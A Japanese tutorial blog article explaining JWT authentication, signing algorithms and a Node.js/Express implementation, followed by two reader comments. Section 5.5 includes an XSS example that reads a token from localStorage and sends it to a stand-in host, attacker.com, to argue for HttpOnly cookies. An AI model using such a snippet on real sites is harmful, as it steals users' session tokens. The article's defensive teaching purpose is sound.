JWTを使った認証・認可の仕組みから実装まで理解する
はじめに
プログラミングスクールRUNTEQでWebエンジニア兼講師をしているいっぺい(@ippei_111)と申します。
いきなりですが、Web開発をしている中で「JWTベースの認証・認可って何となく使用しているけど、実際の仕組みはあまり理解できていない」「セッションベースの認証・認可とJWTベースの認証・認可の使い分けがわからない」などと感じたことはありませんか?
私自身、JWTベースの認証・認可についての理解が浅いと感じていたため、本記事では、JWTベースの認証・認可の基本的な仕組みから実装方法、セキュリティ面まで、体系的にまとめてみようと思います。
1. JWTベースの認証・認可の基礎
まず、JWTベースの認証・認可の基本的な概念と、それがどのような背景から登場したのかを解説します。
1.1 JWTの登場背景と従来の認証方式の課題
従来のWebアプリケーションでは、「セッション・Cookie認証」が認証方式の主流でした。これは、サーバー側でユーザーの認証状態をセッションとして管理する方式です。
セッション・Cookie認証の基本的な流れ
- ユーザーがログインすると、サーバーはセッションIDを発行します。
- サーバーは、そのセッションIDとユーザー情報を紐付けて自身のストレージ(セッションストレージ)に保存します。
- クライアント(ブラウザ)は受け取ったセッションIDをCookieに保存し、以降のリクエストで常にそのCookieを送信します。
- サーバーは受け取ったセッションIDを元に、ストレージからユーザー情報を参照して認証状態を確認します。
この方法は長年広く使われてきましたが、アプリケーションの構成が複雑化するにつれて、いくつかの課題が顕在化しました。
- スケーラビリティ: 負荷分散のためにサーバーを複数台構成にする場合、全サーバーでセッション情報を共有するための仕組み(スティッキーセッションや共有ストレージなど)が別途必要になり、構成が複雑化します。
- クロスドメイン/クロスプラットフォーム: Cookieのドメイン制約により、異なるドメインを持つサービス間での認証情報の共有が困難です。また、Cookieの仕組みを持たないネイティブアプリなど、Webブラウザ以外のクライアントとの相性も課題でした。
- マイクロサービスアーキテクチャとの親和性: サービスが機能ごとに分割されている場合、サービス間で認証状態を連携させるための仕組みが複雑になりがちです。
これらの課題を解決するアプローチとして登場したのが、ステートレスな認証を実現するJWT(JSON Web Token)です。
1.2 JWT(JSON Web Token)とは
JWTとは、情報を安全にやり取りするための国際的なルール(RFC 7519)として標準化された仕様の一つです。その実体は、.
(ピリオド)で区切られた、URLセーフな文字列です。
RFC 7519とは
RFC 7519は、JWTの仕様を定義した文書で、JSON Web Tokenの構造や使用方法を規定しています。
JWTの例)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
このJWTは、以下の3つのパートから構成されています。
-
ヘッダー (Header): トークンの種別(
typ
)と、署名アルゴリズム(alg
)を定義するパートです。 - ペイロード (Payload): ユーザーIDや権限、有効期限など、伝達したい情報(クレーム)を含むパートです。
- 署名 (Signature): ヘッダーとペイロードが改ざんされていないことを保証するためのデジタル署名です。
この構造により、JWTは以下のような特徴を持ちます。
- 自己完結型 (Self-contained): トークン自体が認可に必要な情報を持っているため、サーバーは状態を保持するためのストレージにアクセスする必要がありません。
- ステートレス (Stateless): サーバー側で認証状態を管理しないため、リクエストをどのサーバーで処理してもよく、スケーラビリティを確保しやすくなります。
- 改ざん耐性: デジタル署名によって、トークンの内容が途中で書き換えられていないかを検証できます。
1.3 認証方式の比較:セッションベースの認証・認可とJWTベースの認証・認可
ここで、2つの認証方式の主な違いを整理します。最も本質的な違いは、認証状態をどこで管理するか(ステートフルかステートレスか) という点です。
- セッションベースの認証・認可: サーバー側で状態を管理するステートフルな方式。
- JWTベースの認証・認可: トークン自体が情報を持ち、サーバーは状態を持たないステートレスな方式。
この違いが、それぞれの特性に影響を与えます。
項目 | セッションベースの認証・認可 | JWTベースの認証・認可 |
---|---|---|
状態管理 | ステートフル(サーバーが状態を保持) | ステートレス(サーバーは状態を持たない) |
サーバー負荷 | セッションストレージへのアクセスが必要 | 署名の暗号計算のみで済む |
拡張性 | サーバー増設時にセッション共有の考慮が必要 | サーバーを増やしやすい(水平スケールが容易) |
トークンサイズ | 小さい(セッションIDのみ) | 大きい(情報を含む) |
強制無効化 | サーバー側でセッションを破棄すればOK(容易) | 有効期限まで原則有効(工夫が必要) |
外部連携 | Cookieの制約により困難な場合がある | トークンを渡すだけで連携可能(容易) |
モバイル対応 | Cookieの扱いに注意が必要 | ヘッダーでの送受信が基本で相性が良い |
2. JWTの構造を深く知る
JWTが単なる長い文字列ではないことは、理解できたと思います、ここでは、その文字列を構成する「ヘッダー」「ペイロード」「署名」の3つのパートを、さらに詳しく見ていきます。
2.1 ヘッダー
ヘッダーは、そのJWTが「どのようなトークンで、どのように署名されているか」を定義するメタデータ部分です。具体的には、以下の2つの情報を含むJSONオブジェクトで構成されるのが一般的です。
-
alg
(Algorithm): 署名を生成するために使用されるアルゴリズムを指定します。例えば、HS256
(HMAC SHA-256)やRS256
(RSA SHA-256)などがあります。 -
typ
(Type): トークンのタイプを指定します。JWTの場合は通常JWT
が指定されます。
{
"alg": "HS256",
"typ": "JWT"
}
このJSONオブジェクトがBase64URLエンコードされ、JWTの最初の部分(ヘッダー)を形成します。
2.2 ペイロード
ペイロードは、トークンを通じて伝えたい情報であり、「クレーム(Claims)」を格納する部分です。クレームとは、ユーザーIDや名前、権限、トークンの有効期限など、情報の断片を指します。
{
"sub": "user-12345",
"name": "John Doe",
"role": "admin",
"exp": 1720854720
}
このペイロードもヘッダーと同様に、Base64URLエンコードされ、JWTの2番目の部分を形成します。
クレームには、用途に応じて3つの種類があります。
-
登録済みクレーム(Registered Claims)
仕様としてあらかじめ定義されているクレームです。これらは必須ではありませんが、相互運用性を高めるために使用が推奨されています。
クレーム | 説明 |
---|---|
iss |
(Issuer) 発行者 |
sub |
(Subject) このJWTの主題(ユーザーIDなど) |
aud |
(Audience) このJWTの受信者 |
exp |
(Expiration Time) 有効期限(Unixタイムスタンプ) |
iat |
(Issued At) 発行日時(Unixタイムスタンプ) |
nbf |
(Not Before) 有効期間の開始日時 |
jti |
(JWT ID) トークンの一意な識別子 |
-
パブリッククレーム(Public Claims)
JWTの利用者が自由に定義できるクレームですが、他のシステムと重複しないように、IANA JSON Web Token Claims Registry で管理されている名前を使用するか、衝突しないURI形式の名前空間を持つ名前を定義する必要があります。
-
プライベートクレーム(Private Claims)
発行者と受信者の間で合意の上で自由に使用される、アプケーション固有のクレームです。userId
やrole
など、アプリケーションが必要とする情報をここに格納します。
2.3 署名
署名は、JWTの最も重要なセキュリティ機能です。この署名があることで、以下の2点を保証することができます。
- 完全性(Integrity) : トークンが途中で改ざんされていないこと。
- 認証(Authentication) : トークンが信頼できる発行者によって作成されたものであること。
署名は、以下の手順で生成されます。
HMACSHA256( Base64URL(ヘッダー) + "." + Base64URL(ペイロード), 秘密鍵 )
つまり、「エンコードされたヘッダー」と「エンコードされたペイロード」を.
で連結した文字列を、ヘッダーで指定されたアルゴリズムと、サーバーだけが知っている秘密鍵を使って計算したハッシュ値です。
この秘密鍵を知らない第三者は、たとえヘッダーやペイロードを改ざんしても、正しい署名を再生成することができません。サーバーはリクエストを受け取るたびに、同じ方法で署名を計算し直し、送られてきた署名と一致するかを検証することで、トークンの正当性を確認します。
2.4 Base64URLエンコーディングとは?
JWTの各パートを構成するBase64URLエンコーディングについて補足します。これは、バイナリデータをテキストデータに変換するBase64を、URLで安全に使用できるように改良したものです。
通常のBase64では、URLにおいて特別な意味を持つ文字(+
や-
)や、パディングのための=
が使われます。Base64URLでは、これらの文字をURLにセーフな文字に置き換え、パディングを削除しています。
このエンコーディングにより、JWTはHTTPヘッダーやURLクエリパラメータとして、問題なく安全に含めることができるのです。
3. JWTベースの認証・認可の動作原理
JWTの構造を理解したところで、次はそのJWTが実際のアプリケーションでどのように機能するのか、その「動作原理」を見ていきます。ユーザーのログインから、認証が必要な情報へのアクセスまで、一連の流れを追うことで、JWTベースの認証・認可の全体像がより明確になります。
3.1 認証フローの全体像
JWTベースの認証・認可のフローは、大きく分けて「①認証とトークン発行」と「②トークンを利用した認可(APIアクセス)」の2つのフェーズで構成されます。
- ログインとトークン発行
- クライアント→サーバー : ユーザーがIDとパスワードを入力し、ログインをリクエストします。
- サーバー : 受け取った認証情報を検証します。正しければ、ユーザー情報を含むペイロードと署名を持つJWTを生成します。
-
サーバー→クライアント : 生成したJWTをクライアントに渡します。クライアントはこのJWTを保存しますが、保存方法により以下のような違いがあります。
- HttpOnly Cookie:JavaScriptからアクセス不可でXSS攻撃に強い(推奨)
- LocalStorage/SessionStorage:実装は簡単だがXSS攻撃に脆弱
- 保護されたリソースへのアクセス
-
クライアント→サーバー : 認証が必要なAPIリクエストを送る際、HTTPの
Authorization
ヘッダーに、保存しておいたJWTをBearer
スキームとともに含めます。 -
サーバー : リクエストを受け取ると、まず
Authorization
ヘッダーからJWTを取り出します。 -
サーバー : 取り出したJWTの署名を検証し、改ざんがないか、そして信頼できる発行元からのものかを確認します。同時に、ペイロード内の有効期限(
exp
)が切れていないかもチェックします。 -
サーバー→クライアント : 検証がすべて成功すれば、リクエストされた処理を実行し、結果をクライアントに返します。検証に失敗した場合は、
401 Unauthorized
エラーを返します。
3.2 トークンの生成プロセス
サーバーはユーザーの認証に成功した後に、どのようにしてJWTを生成するのか、そのプロセスを詳しく見ていきます。
-
ヘッダーの準備 :
alg
とtyp
を含むJSONオブジェクトを用意します。 -
ペイロードの準備 : ユーザーID(
sub
)や有効期限(exp
)など、必要なクレームを含むJSONオブジェクトを用意します。 - エンコード : ヘッダーとペイロードを、それぞれBase64URLエンコードします。
-
署名対象の作成 : エンコードされたヘッダーとペイロードを、
.
で連結します。 - 署名の生成 : 4で作成した文字列を、秘密鍵を使って署名アルゴリズムでハッシュ化し、署名を生成します。
-
JWTの完成 : 「エンコード済みヘッダー」「エンコード済みペイロード」「署名」を3つの
.
で連結して、最終的なJWTを作成します。
Node.jsでの実装例 (jsonwebtokenライブラリを使用)
const jwt = require('jsonwebtoken');
/**
* ユーザー情報に基づいてJWTを生成する関数
* @param {object} user - ユーザー情報 (id, email, roleなど)
* @returns {string} 生成されたJWT
*/
function generateToken(user) {
// ペイロードに含める情報を定義
const payload = {
sub: user.id,
email: user.email,
role: user.role,
};
// 秘密鍵(環境変数から取得するのが望ましい)
const secretKey = process.env.JWT_SECRET || 'your-very-secret-key';
// オプションでアルゴリズムや有効期限を指定
const options = {
expiresIn: '1h', // 有効期限: 1時間
algorithm: 'HS256' // 署名アルゴリズム
};
// jwt.sign()でトークンを生成
const token = jwt.sign(payload, secretKey, options);
return token;
}
// --- 使用例 ---
const sampleUser = { id: 'user-12345', email: 'user@example.com', role: 'user' };
const token = generateToken(sampleUser);
console.log(token);
3.3 トークンの検証プロセス
クライアントからJWTを受け取ったサーバーは、その正当性を厳格に検証する必要があります。この検証プロセスこそが、JWTベースの認証・認可のセキュリティを担保する重要なステップになります。
-
トークンの受信と分割 :
Authorization: Bearer <JWT>
ヘッダーからトークンを抽出し、.
を基準にヘッダー、ペイロード、署名の3つのパートに分割します。 - 署名の検証
- 受信したヘッダーとペイロード(エンコード済みの状態)を
.
で連結します。 - サーバーが保持している秘密鍵を使い、ヘッダーで指定されたアルゴリズムで署名を再計算します。
- 再計算した署名と、受信したJWTの署名パートが完全に一致するかを比較します。一致しなければ、トークンは改ざんされているか、不正な発行元からのものなので、即座に検証を中止しエラーとします。
- クレームの検証
-
exp
(有効期限): トークンが期限切れになっていないかを確認します。 -
nbf
(有効開始日時): トークンが有効期間内であるかを確認します。 -
aud
(受信者),iss
(発行者): 必要に応じて、トークンが意図した受信者・発行者のものかを確認します。
- 検証完了 : すべての検証をパスした場合、そのトークンは正当なものと判断され、ペイロードからユーザー情報を抽出し、リクエストされた処理を続行します。
Node.jsでの検証ミドルウェア実装例
const jwt = require('jsonwebtoken');
/**
* JWTを検証するExpressミドルウェア
*/
function verifyToken(req, res, next) {
const authHeader = req.headers.authorization;
// 1. ヘッダーの存在と形式を確認
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({ error: '認証トークンが必要です。' });
}
// "Bearer "の部分を取り除き、トークン本体を取得
const token = authHeader.split(' ')[1];
const secretKey = process.env.JWT_SECRET || 'your-very-secret-key';
try {
// 2. jwt.verify()でトークンを検証
// この関数内で、署名の検証と有効期限のチェックが自動的に行われる
const decodedPayload = jwt.verify(token, secretKey);
// 3. 検証成功後、リクエストオブジェクトにユーザー情報を格納
req.user = decodedPayload;
// 4. 次の処理へ
next();
} catch (error) {
// 検証失敗時のエラーハンドリング
if (error.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'トークンの有効期限が切れています。' });
}
return res.status(401).json({ error: '無効なトークンです。' });
}
}
3.4 ステートレス認証の仕組み
JWTベースの認証・認可の核心的な利点は、ステートレスであることです。つまり、「サーバーがクライアントの状態を保持しない」という意味になります。
セッションベースの認証・認可(ステートフル)では、サーバーは「どのセッションIDがどのユーザーか」という対応表を常に自身のストレージに保持しておく必要がありました。
一方、JWTベースの認証・認可では、必要なユーザー情報はすべてJWT自体に含まれているため、サーバーは受け取ったJWTを検証するだけでよく、過去のリクエストやセッション情報を記憶しておく必要が一切ありません。
このステートレスな性質が、以下のようなメリットをもたらします。
- サーバーの負荷軽減とシンプル化 : セッションストレージへの問い合わせが不要になるため、サーバーの負荷が減り、アーキテクチャもシンプルになります。
- 水平スケーリングの容易さ : どのサーバーがリクエストを受け取っても、同じ秘密鍵さえ持っていればJWTを検証できます。そのため、サーバーの台数を増やすだけで簡単システム全体の性能を向上させることができます。
- マイクロサービスとの高い親和性 : 各サービスが独立してJWTを検証できるため、サービス間の認証連携が非常にスムーズになります。
4. 署名アルゴリズムの理解
JWTのセキュリティを支える重要な要素の一つが、署名アルゴリズムです。この署名をどの「アルゴリズム」で作るかによって、システムのセキュリティや設計が大きく変わります。ここでは、主要な署名アルゴリズムである「対象鍵」と「非対称鍵」の違いを理解し、どのような状況でどちらを選ぶべきかなどを掘り下げていきます。
4.1 対称鍵アルゴリズム(HMAC系)
HMAC(Hash-based Message Authentication Code)は、単一の「秘密鍵」を、署名の生成と検証の両方に使用する方式です。関係者全員が同じ「合鍵」を持っているイメージです。
メリット
- 高速 : 非対称鍵方式に比べて、署名の生成・検証の計算が非常に高速です。
- シンプル : 鍵が一つだけなので、概念的に理解しやすく実装も比較的容易です。
デメリット
- 鍵の共有が必須 : 検証を行う全てのサーバーに、同じ秘密鍵を安全に配布する必要があります。
- 鍵漏洩のリスク集中 : 万が一秘密鍵が漏洩した場合、第三者が署名を偽造できてしまうため、影響範囲が大きくなります。
主なアルゴリズム
-
HS256
(HMAC using SHA-256): 最も広く使われている推奨アルゴリズム。 -
HS384
,HS512
: より強固なハッシュ関数を使用する、さらにセキュリティの高い選択肢。
4.2 非対称鍵アルゴリズム(RSA/ECDSA系)
非対称鍵アルゴリズムは、**「秘密鍵」と「公開鍵」**というペアの鍵を使用します。
- 秘密鍵 : 署名を生成するために使用。発行者だけが厳密に保管します。
- 公開鍵 : 署名を検証するために使用。検証が必要な関係者に配布できます。
メリット
- 高いセキュリティ : 秘密鍵を外部に渡す必要がないため、HMAC方式より安全です。
- 柔軟な連携 : 公開鍵さえ共有すれば、第三者でも署名を検証できます。これらは、マイクロサービスや外部API連携に最適です。
デメリット
- 計算コスト : HMAC方式に比べて、署名の生成・検証に時間がかかります。
- 鍵管理の複雑さ : 鍵がペアになるため、管理が少し複雑になります。
主なアルゴリズム
-
RS256
(RSA Signature with SHA-256): 広く使われているアルゴリズム -
ES256
(ECDSA using P-256 and SHA-256): RSAよりも短い鍵長で同等のセキュリティ強度を実現でき、パフォーマンスも良好なため、近年採用が増えている。
4.3 アルゴリズム選択のポイント
では、どちらのアルゴリズムを選べば良いのでしょうか。以下のフローチャートと考え方が参考になります。
-
モノリシックなアプリケーションや、信頼できる少数のサービス間で完結する場合
HS256がシンプルで高速なため、良い選択肢です。ただし、秘密鍵を安全に管理・共有できることが大前提になります。 -
マイクロサービスアーキテクチャや、外部のサードパーティにAPIを公開する場合
秘密鍵を共有する必要がないRS256やES256が強く推奨されています。
4.4 セキュリティ上の重要な注意点
アルゴリズムの選択や実装を誤ると、深刻な脆弱性につながります。
-
none
アルゴリズムの無効化
JWTの仕様には、署名は行わないnone
というアルゴリズムが存在します。これを許可してしまうと、署名検証がバイパスされ、誰でも自由に改ざんしたトークンを有効にできてしまいます。ライブラリの検証機能で、olg
ヘッダーがnone
の場合は必ずエラーとするように設定してください。 -
アルゴリズム混同攻撃への対策
RS256の公開鍵を、HS256の秘密鍵として誤用される攻撃手法です。検証時には、必ずalgorithms
オプションで許可するアルゴリズムを明示的に指定し、意図しないアルゴリズムでの検証を防いでください。
// 安全な検証の例
jwt.verify(token, publicKey, {
// 必ずアルゴリズムを配列で明示的に指定する
algorithms: ['RS256']
});
-
強力な秘密鍵の使用
password
やsecret
のような推測しやすい秘密鍵は絶対に使用しないでください。暗号学的に安全な乱数生成器を使って、十分に長い(HS256なら32バイト/256ビット以上を推奨)複雑な文字列を生成し、環境変数やシークレット管理サービスで安全に管理してください。 -
定期的な鍵のローテーション
万が一秘密鍵が漏洩した場合の影響を最小限に抑えるため、定期的に鍵を更新(ローテーション)する運用が推奨されます。kid
(Key ID)ヘッダーを使って複数の鍵を管理し、古いトークンも一定期間検証できるようにする仕組みが一般的です。
5. JWT実装の基本
これまでは、JWTの理論的な側面を学んできました。次は、Node.jsとExpressを使ってJWTベースの認証・認可の基本的な機能を実装していきます。
5.1 開発環境の準備
まずは、JWTベースの認証・認可を実装するための土台となるNode.jsプロジェクトを準備します。
1. プロジェクトの初期化とパッケージのインストール
ターミナルを開き、以下のコマンドを実行してプロジェクトフォルダを作成し、必要なライブラリをインストールします。
# プロジェクト用のディレクトリを作成し、移動
mkdir jwt-practice
cd jwt-practice
# npmプロジェクトを初期化
npm init -y
# 必要なライブラリをインストール
# express: Webフレームワーク
# jsonwebtoken: JWTの生成・検証を行うライブラリ
# bcryptjs: パスワードを安全にハッシュ化するためのライブラリ
# dotenv: 環境変数を.envファイルから読み込むためのライブラリ
npm install express jsonwebtoken bcryptjs dotenv
2. プロジェクトの基本構造
分かりやすく管理するために、以下のようなディレクトリ構造で進めていきます。
jwt-practice/
├── controllers/ # リクエストを処理するロジック
│ └── authController.js
├── middleware/ # 認証などのミドルウェア
│ └── authMiddleware.js
├── .env # 環境変数ファイル
├── app.js # アプリケーションのメインファイル
└── package.json
3. 環境変数の設定
プロジェクトのルートに.env
ファイルを作成し、JWTの秘密鍵などの設定情報を記述します。
# .env
# サーバーのポート番号
PORT=3001
# JWTの秘密鍵(32文字以上のランダムな文字列を推奨)
JWT_SECRET='your_super_secret_and_long_string_for_jwt_practice'
# アクセストークンの有効期限
JWT_EXPIRES_IN='1h'
5.2 トークン生成の実装
ユーザーがログインに成功した際に、サーバーがJWTを発行する機能を実装します。
authController.js
の作成
controllersフォルダにauthController.jsを作成します。ここでは、擬似的なユーザーデータを使ってログイン処理とトークン生成を行います。
// controllers/authController.js
const jwt = require('jsonwebtoken');
const bcrypt = require('bcryptjs');
// 本来はデータベースから取得するユーザーデータ
const mockUser = {
id: 'user-123',
email: 'test@example.com',
// パスワードはハッシュ化して保存する
passwordHash: bcrypt.hashSync('password123', 10),
role: 'user'
};
// ログイン処理とトークン発行を行う関数
const login = async (req, res) => {
try {
const { email, password } = req.body;
// 1. ユーザーの存在とパスワードを検証
if (email !== mockUser.email || !bcrypt.compareSync(password, mockUser.passwordHash)) {
return res.status(401).json({ error: 'メールアドレスまたはパスワードが正しくありません。' });
}
// 2. ペイロードに含める情報を定義
const payload = {
sub: mockUser.id,
email: mockUser.email,
role: mockUser.role,
};
// 3. 秘密鍵とオプションを設定
const secretKey = process.env.JWT_SECRET;
const options = {
expiresIn: process.env.JWT_EXPIRES_IN,
};
// 4. JWTを生成
const token = jwt.sign(payload, secretKey, options);
// 5. トークンをクライアントに返却
res.json({
message: 'ログインに成功しました。',
accessToken: token,
tokenType: 'Bearer',
expiresIn: 3600 // 1時間(秒)
});
} catch (error) {
console.error('Login error:', error);
res.status(500).json({ error: 'サーバー内部でエラーが発生しました。' });
}
};
module.exports = { login };
5.3 トークン検証の実装
次に、APIリクエストで送られてきたJWTを検証し、認証済みユーザーからのリクエストのみを許可する「認証ミドルウェア」を実装します。
authMiddleware.js
の作成
middlewareフォルダにauthMiddleware.jsを作成します。
// middleware/authMiddleware.js
const jwt = require('jsonwebtoken');
// JWTを検証して認可を行うミドルウェア
const authenticateToken = (req, res, next) => {
// 1. Authorizationヘッダーを取得
const authHeader = req.headers['authorization'];
// ヘッダーが存在すれば、"Bearer "の部分を取り除いてトークンを取得
const token = authHeader && authHeader.split(' ')[1];
// 2. トークンが存在しない場合はエラー
if (token == null) {
return res.status(401).json({ error: '認証トークンが必要です。' });
}
// 3. トークンを検証
jwt.verify(token, process.env.JWT_SECRET, (err, user) => {
// 4. 検証でエラーが発生した場合(期限切れ、不正な署名など)
if (err) {
return res.status(403).json({ error: '無効なトークンです。アクセスが拒否されました。' });
}
// 5. 検証成功。リクエストオブジェクトにユーザー情報を格納
req.user = user;
// 6. 次の処理へ
next();
});
};
module.exports = { authenticateToken };
5.4 アプリケーションへの組み込み
最後に、作成したコントローラーとミドルウェアをExpressアプリケーションに組み込みます。
app.js
の作成
プロジェクトのルートにapp.jsを作成します。
// app.js
require('dotenv').config(); // .envファイルの内容を読み込む
const express = require('express');
const { login } = require('./controllers/authController');
const { authenticateToken } = require('./middleware/authMiddleware');
const app = express();
app.use(express.json()); // JSON形式のリクエストボディを解析する
const PORT = process.env.PORT || 3001;
// --- ルート定義 ---
// 誰でもアクセスできる公開ルート
app.get('/', (req, res) => {
res.send('JWTベースの認証・認可のサンプルアプリケーションへようこそ!');
});
// ログインエンドポイント(トークンを発行)
app.post('/api/login', login);
// 認証が必要な保護されたルート
// authenticateTokenミドルウェアが先に実行され、トークンを検証する
app.get('/api/profile', authenticateToken, (req, res) => {
// ミドルウェアによって`req.user`にユーザー情報が格納されている
res.json({
message: `ようこそ、 ${req.user.email} さん!`,
user: req.user
});
});
app.listen(PORT, () => {
console.log(`サーバーがポート${PORT}で起動しました。`);
});
これで、JWTベースの認証・認可の基本的な実装は完了です。node app.js でサーバーを起動し、APIクライアントツール(Postmanなど)または curl を使って以下のようにリクエストを送信してみてください。
# 1. サーバー起動
node app.js
# サーバーがポート3001で起動します。
# 2. ログイン(トークン取得)
curl -X POST http://localhost:3001/api/login \
-H "Content-Type: application/json" \
-d '{
"email": "test@example.com",
"password": "password123"
}'
# 上記のレスポンス例
{
"message": "ログインに成功しました。",
"accessToken": "eyJhbGciOiJI…(省略)…",
"tokenType": "Bearer",
"expiresIn": 3600
}
# 3. プロフィール取得(取得したトークンを Authorization ヘッダーにセット)
curl http://localhost:3001/api/profile \
-H "Authorization: Bearer eyJhbGciOiJI…(先ほど取得したトークン)…"
# プロフィールレスポンス例
{
"message": "ようこそ、 test@example.com さん!",
"user": {
"sub": "user-123",
"email": "test@example.com",
"role": "user",
"iat": 1627384950,
"exp": 1627388550
}
}
5.5 トークンの安全な保存方法
JWTをクライアント側でどこに保存するかは、セキュリティ的に重要なポイントになります。
保存場所の比較
保存場所 | XSS耐性 | CSRF耐性 | JavaScriptアクセス | 推奨度 |
---|---|---|---|---|
localStorage | ❌ | ✅ | 可能 | 低 |
sessionStorage | ❌ | ✅ | 可能 | 低 |
HttpOnly Cookie | ✅ | ⚠️ (要対策) | 不可 | 高 |
XSS攻撃のリスク
// XSS攻撃の例:悪意のあるスクリプトが注入された場合
const stolenToken = localStorage.getItem('jwt_token');
// 攻撃者のサーバーに送信
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ token: stolenToken })
});
HttpOnly Cookieの実装
サーバー側の実装
// controllers/authController.js の修正
const login = async (req, res) => {
// ... 認証処理 ...
const token = jwt.sign(payload, secretKey, options);
// HttpOnly Cookieとして設定
res.cookie('jwt_token', token, {
httpOnly: true, // JavaScriptからアクセス不可
secure: true, // HTTPS通信でのみ送信
sameSite: 'strict', // CSRF攻撃対策
maxAge: 3600000 // 1時間(ミリ秒)
});
res.json({ message: 'ログインに成功しました。' });
};
ミドルウェアの修正
// middleware/authMiddleware.js の修正
const authenticateToken = (req, res, next) => {
// Cookieからトークンを取得
const token = req.cookies?.jwt_token;
if (!token) {
return res.status(401).json({ error: '認証トークンが必要です。' });
}
// 以下、検証処理は同じ
};
クライアント側の実装変更
// Cookieは自動的に送信されるため、明示的な設定は不要
fetch('/api/profile', {
credentials: 'include' // Cookieを含めて送信
});
5.6 ステートレス認証の限界
JWTベースの認証・認可には以下の課題があります。
トークンの即座の無効化が困難
- セッションと異なり、有効期限前のトークンを無効化できない
- ユーザーのログアウトやアカウント停止時の対応が複雑
解決策とトレードオフ
- ブラックリスト管理:無効化したいトークンをDBに保存(ステートフルになる)
- 短い有効期限:頻繁な更新が必要(UXの低下)
- リフレッシュトークン:実装の複雑化
6. より実践的な選択肢
6.1 IDaaS(Identity as a Service)の活用
実際のプロダクトでは、以下の理由からIDaaSを利用することも選択肢となってきます。
主なIDaaSサービス
- Auth0:柔軟なカスタマイズが可能
- Firebase Authentication:Googleのエコシステムとの連携
- AWS Cognito:AWSサービスとの統合
- Okta:エンタープライズ向け
IDaaSを選ぶメリット
- セキュリティのベストプラクティスが組み込み済み
- トークンの無効化、多要素認証などの高度な機能
- コンプライアンス対応(GDPR、SOC2など)
- 開発工数の大幅削減
まとめ
本記事では、JWTベースの認証・認可の基本的な概念から、その構造、動作原理、そして具体的な実装方法まで、体系的に説明してきました。
最後に、JWTベースの認証・認可を安全に実装するためのチェックリストをまとめてみました。
- ライブラリの利用 : 信頼できるJWTライブラリを利用し、自前での実装は避ける。
- アルゴリズムの選択 : システムの要件に合わせて、HS256(対称鍵)かRS256/ES256(非対称鍵)を適切に選択する。
- 秘密鍵の管理 : 予測困難で十分に長い秘密鍵を生成し、環境変数やシークレット管理サービスで安全に管理する。
- ペイロードの内容 : 機密情報(パスワードなど)をペイロードに含めない。
- 短い有効期限 : トークンの有効期限は短めに設定し、必要に応じてリフレッシュトークンを利用する。
-
alg
ヘッダーの検証 : トークン検証時に、意図したアルゴリズムが使われているか必ず確認する(アルゴリズム混同攻撃対策)。 -
none
アルゴリズムの拒否 :alg: none
のトークンを無条件に拒否する。 - HTTPSの強制 : トークンの送受信は必ずHTTPSを使用し、通信の盗聴や改ざんを防ぐ。
- エラーハンドリング : トークンの検証エラーを適切に処理し、クライアントに分かりやすいエラーを返す。
参考資料
Discussion
初めまして。runteq24期のおにゃんこぽんといいます。
すごくよくまとめられていて勉強になりました!
僭越ながら付け加えたら良いかもと思ったことはトークンの管理方法についてです。
ローカルストレージやセッションストレージに保存するとXSS攻撃によってjsからトークンが抜き取られてしまうという問題があります。自分の見解ではHttpOnly Cookie+SameSite属性のほうがjsからトークンが見えないので安全性が高いです。 またそういったセキュリティの問題やステートレスの限界の問題もあり、IDaaSが使われることも多い点も触れるとよりいいかもしれません。 偉そうにすみません。。
おにゃんこぽんさん、はじめまして!
貴重なご指摘ありがとうございます!とても勉強になりました。
ご指摘いただいた点に関して、「トークンの安全な保存方法」「XSS攻撃のリスクとHttpOnly Cookieの実装例」「IDaaSについての記述」などを追記させていただきました。
実際のプロダクト目線が抜けていたところもあったため、ご指摘いただけたおかげでとても勉強になりました!
今後も何か気づいた点があれば、ぜひ教えてください🙇♂️